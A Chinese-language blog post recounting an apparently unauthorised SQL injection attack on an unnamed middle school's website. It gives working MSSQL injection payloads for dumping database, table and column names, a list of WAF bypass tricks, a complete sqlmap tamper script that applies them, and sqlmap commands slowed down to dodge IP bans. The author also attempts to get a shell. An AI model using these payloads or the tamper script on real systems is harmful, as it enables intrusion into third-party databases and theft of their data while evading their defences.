D0g3_17

手注测试并编写sqlmap-tamper绕过某中学waf
sqlmap可谓是SQL注入的一大神器,但实际使用的时候经常会遇到网站waf的拦截。但是,sqlmap给我们提供了...
扫描右侧二维码阅读全文
11
2018/07

手注测试并编写sqlmap-tamper绕过某中学waf

sqlmap可谓是SQL注入的一大神器,但实际使用的时候经常会遇到网站waf的拦截。

但是,sqlmap给我们提供了一种绕过waf的方法——tamper脚本。tamper脚本能按照特定的规则编码或者改变payload,从而绕过防火墙的检测和过滤,达到成功注入的目的。
下面,笔者将记录采用sqlmap-tamper绕过某waf进行注入并获取数据库的实战过程,不针对任何网站,仅供小白研究使用。


首先,在目标网站的查询框输入1'测试是否能闭合,结果出现如下500错误,说明单引号成功闭合。

接着测试常用的注释符,发现--能成功注释语句后面的内容,此时服务器报错为 _'%1' 附近有语法错误。_
此处可以看出注入的位置是常见的搜索注入%……%
尝试输入1' or '%'='构造闭合,发现成功返回查询结果,到此发现服务器竟然还没有过滤。至此我们知道服务器采用的ASP.NET架构,那么多半是MSSQL数据库。
那么我们再输入1' and exists(select * from sysobjects)--确认一下。结果成功的触发了网站的waf...

经过笔者艰苦卓绝的手动测试,发现将from后面的空格换成%2b也就是+,再在注释符前加一个)闭合括号,便可以绕过waf,成功查询出数据,那么也证明了这个网站的数据库确实是MSSQL.
现在,目标明确了,剩下的就是和这个尽职尽责的waf决斗了。
单刀直入的测试输入1' and 1=(select db_name()))--,希望能通过报错得到当前数据库的名字,结果是再一次的waf警告...
经过笔者艰苦卓绝的手动测试X2,发现waf过滤的其中一条规则:等号后跟括号视作违规。那么机智的将等号换成了<>之后,警报解除。(这里也可以将等号换成%253d,聪明的读者应该也看出来了)
我们从服务器的报错中,成功获取了当前数据库的名字
打码的地方就是数据库的名字
到了这一步,基本上已经可以为所欲为了:
暴库名1' and 1<>(select name from+master.dbo.sysdatabases where dbid=N))--
暴任意表和列
1' and (select top 1 name from+(select top N id,name from+sysobjects where xtype=char(85)) T order by id desc)>1)--
(N的地方换成1,2,3,4……)
但是,搞了这么多,究竟能不能拿到系统的shell呢?
输入1';declare @a int--,闭上眼敲出回车。。。

FXXXXXXXXCK!!!!(大写加粗)
好吧,这样说明数据库设置为不支持多行,也就说明我们无法完成拿系统shell必要的一些骚操作了。。
那么,咱上sqlmap瞧一瞧
python sqlmap.py -u http://www.target.com/Search/?P=1 --dbms mssql -v3

果不其然,一堆403错误。还能怎么办?上tamper!
找到sqlmap的tamper文件夹,随便打开一个tamper脚本,观察其规律,再仿照规律新建一个py文件,前半部分为:

#!/usr/bin/env python

import random
import string

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

进一步观察发现,我们需要定义一个tamper函数来接受并处理sqlmap的原始payload。也就是说,tamper就是一个字符串处理函数,把未处理的payload经由我们想要的方式处理过后再发送请求给服务器,达到绕过waf的目的。
这里总结一下之前绕waf的tips:

1. 末尾注释符要用--
2. 单独的函数关键字没有过滤,但联合使用的时候,其间的空格需要用%0A来替换以绕过waf
3. CONCAT(***)被严格过滤,可用CONCAT_WS()函数绕过
4. FROM (FROM后跟空格),空格只能用+%2b绕过
5. 与括号连接的等号=,可用<>或双重url编码%253d来绕过
6. 频繁访问会被ban ip,应指定更低的--thread参数,并添加--delay参数

综上,最终的tamper长这个样子:

#!/usr/bin/env python
# coding=utf8
import random
import string

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    retVal = ""
    if payload:                                 #此处的payload变量便是sqlmap原始的payload
        for i in xrange(len(payload)):
            if payload[i].isspace():            #判断当前字符是否是空格
                if payload[i-4:i]=='FROM':      #标记位于 FROM 后的空格
                    retVal += 'WSXEDCRFV'
                else:
                    retVal += "%0A"             #将普通位置的空格替换为 %0A
            elif payload[i]=='=':               #将等号替换为双重url编码的 %253d
                retVal += "%253d"
            elif payload[i]=='+':               #将payload中的加号再进行一次url编码,以免被解析为空格
                retVal += "%252b"
            elif payload[i]=='#':               #将 # 注释符替换为 --
                retVal+='--'
            else:                               
                retVal += payload[i]

        for i in xrange(len(retVal)):
            if retVal[i:i+7]=='CONCAT(':        #将 CONCAT 函数替换为 CONCAT_WS 函数
                retVal=retVal[:i]+"CONCAT_WS(' ',"+retVal[i+7:]
                break
            else:
                pass

    return retVal.replace('WSXEDCRFV','+')      #将标记位替换为 +

所以最终在命令行输入python sqlmap.py -u http://www.target.com/Search/?P=1 --dbms mssql --dbs --tamper bypass.py --thread 2 --delay 0.2就可以看到效果了(可以加上-v3参数观察payload是否按照我们的想法进行了变化)

看,现在成功获取到了数据库的数量和名字,操作成功~

Last modification:July 12th, 2018 at 10:41 am
If you think my article is useful to you, please feel free to appreciate

Leave a Comment